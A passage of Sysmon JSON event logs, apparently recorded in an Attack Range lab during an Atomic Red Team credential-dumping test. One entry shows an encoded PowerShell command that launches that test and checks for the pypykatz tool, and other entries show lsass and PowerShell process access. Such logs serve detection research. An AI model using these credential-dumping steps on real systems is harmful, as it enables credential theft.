11:56:24.759","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4168-5F2D-0000-0010FADB0700}","TargetProcessId":"3728","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":5080,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:24.775\r\nProcessGuid: {90617006-4168-5F2D-0000-0010FADB0700}\r\nProcessId: 3728\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\Users\\Administrator\\AppData\\Local\\Temp\\__PSScriptPolicyTest_lzihvfz5.nvp.ps1\r\nCreationUtcTime: 2020-08-07 11:56:24.775","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:24.775","ProcessGuid":"{90617006-4168-5F2D-0000-0010FADB0700}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\Users\\Administrator\\AppData\\Local\\Temp\\__PSScriptPolicyTest_lzihvfz5.nvp.ps1","CreationUtcTime":"2020-08-07 11:56:24.775","EventReceivedTime":"2020-08-07 11:56:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5081,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:24.806\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 4052\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4168-5F2D-0000-0010FADB0700}\r\nTargetProcessId: 3728\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:24.806","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"4052","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4168-5F2D-0000-0010FADB0700}","TargetProcessId":"3728","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5082,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:24.806\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 4052\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4168-5F2D-0000-0010FADB0700}\r\nTargetProcessId: 3728\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:24.806","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"4052","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4168-5F2D-0000-0010FADB0700}","TargetProcessId":"3728","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:25","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":5083,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:25.087\r\nProcessGuid: {90617006-4168-5F2D-0000-0010FADB0700}\r\nProcessId: 3728\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\Users\\Administrator\\AppData\\Local\\Temp\\__PSScriptPolicyTest_1lkr13rf.lqz.ps1\r\nCreationUtcTime: 2020-08-07 11:56:25.087","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:25.087","ProcessGuid":"{90617006-4168-5F2D-0000-0010FADB0700}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\Users\\Administrator\\AppData\\Local\\Temp\\__PSScriptPolicyTest_1lkr13rf.lqz.ps1","CreationUtcTime":"2020-08-07 11:56:25.087","EventReceivedTime":"2020-08-07 11:56:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":5084,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:28.810\r\nProcessGuid: {90617006-416C-5F2D-0000-0010CDF10700}\r\nProcessId: 4176\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nFileVersion: 10.0.14393.206 (rs1_release.160915-0644)\r\nDescription: Windows PowerShell\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: PowerShell.EXE\r\nCommandLine: \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" & {if (cmd /c pypykatz -h) {exit 0} else {exit 1}} \r\nCurrentDirectory: C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\\r\nUser: ATTACKRANGE\\Administrator\r\nLogonGuid: {90617006-415E-5F2D-0000-002024580700}\r\nLogonId: 0x75824\r\nTerminalSessionId: 0\r\nIntegrityLevel: High\r\nHashes: MD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453\r\nParentProcessGuid: {90617006-415F-5F2D-0000-001026810700}\r\nParentProcessId: 5076\r\nParentImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nParentCommandLine: \"powershell.exe\" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABJAG0AcABvAHIAdAAtAE0AbwBkAHUAbABlACAAIgBDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAaQBuAHYAbwBrAGUALQBhAHQAbwBtAGkAYwByAGUAZAB0AGUAYQBtAFwASQBuAHYAbwBrAGUALQBBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAC4AcABzAGQAMQAiACAALQBGAG8AcgBjAGUACgBJAG4AdgBvAGsAZQAtAEEAdABvAG0AaQBjAFQAZQBzAHQAIAAiAFQAMQAwADAAMwAuADAAMAAyACIAIAAtAEcAZQB0AFAAcgBlAHIAZQBxAHMA","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:28.810","ProcessGuid":"{90617006-416C-5F2D-0000-0010CDF10700}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","FileVersion":"10.0.14393.206 (rs1_release.160915-0644)","Description":"Windows PowerShell","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"PowerShell.EXE","CommandLine":"\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" & {if (cmd /c pypykatz -h) {exit 0} else {exit 1}} ","CurrentDirectory":"C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\","User":"ATTACKRANGE\\Administrator","LogonGuid":"{90617006-415E-5F2D-0000-002024580700}","LogonId":"0x75824","TerminalSessionId":"0","IntegrityLevel":"High","Hashes":"MD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453","ParentProcessGuid":"{90617006-415F-5F2D-0000-001026810700}","ParentProcessId":"5076","ParentImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","ParentCommandLine":"\"powershell.exe\" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABJAG0AcABvAHIAdAAtAE0AbwBkAHUAbABlACAAIgBDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAaQBuAHYAbwBrAGUALQBhAHQAbwBtAGkAYwByAGUAZAB0AGUAYQBtAFwASQBuAHYAbwBrAGUALQBBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAC4AcABzAGQAMQAiACAALQBGAG8AcgBjAGUACgBJAG4AdgBvAGsAZQAtAEEAdABvAG0AaQBjAFQAZQBzAHQAIAAiAFQAMQAwADAAMwAuADAAMAAyACIAIAAtAEcAZQB0AFAAcgBlAHIAZQBxAHMA","EventReceivedTime":"2020-08-07 11:56:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5085,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:28.806\r\nSourceProcessGUID: {90617006-415F-5F2D-0000-001026810700}\r\nSourceProcessId: 5076\r\nSourceThreadId: 4964\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-416C-5F2D-0000-0010CDF10700}\r\nTargetProcessId: 4176\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+8(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+8(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+8(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+8(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b5889d8|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58884c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b60b078|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b581434|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6c03a3d7|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b549c2c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b5a80fb|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b760|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b760|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b760|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b760|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b760|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b760|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b5f1|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b57d576|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b5b6706","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:28.806","SourceProcessGUID":"{90617006-415F-5F2D-0000-001026810700}","SourceProcessId":"5076","SourceThreadId":"4964","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-416C-5F2D-0000-0010CDF10700}","TargetProcessId":"4176","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+8(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+8(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+8(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+8(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b5889d8|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58884c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b60b078|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b581434|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6c03a3d7|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b549c2c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b5a80fb|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b760|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b760|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b760|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b760|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b760|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b760|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b5f1|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b57d576|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b5b6706","EventReceivedTime":"2020-08-07 11:56:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5086,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:28.806\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-416C-5F2D-0000-0010CDF10700}\r\nTargetProcessId: 4176\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:28.806","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-416C-5F2D-0000-0010CDF10700}","TargetProcessId":"4176","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:56:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5087,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process 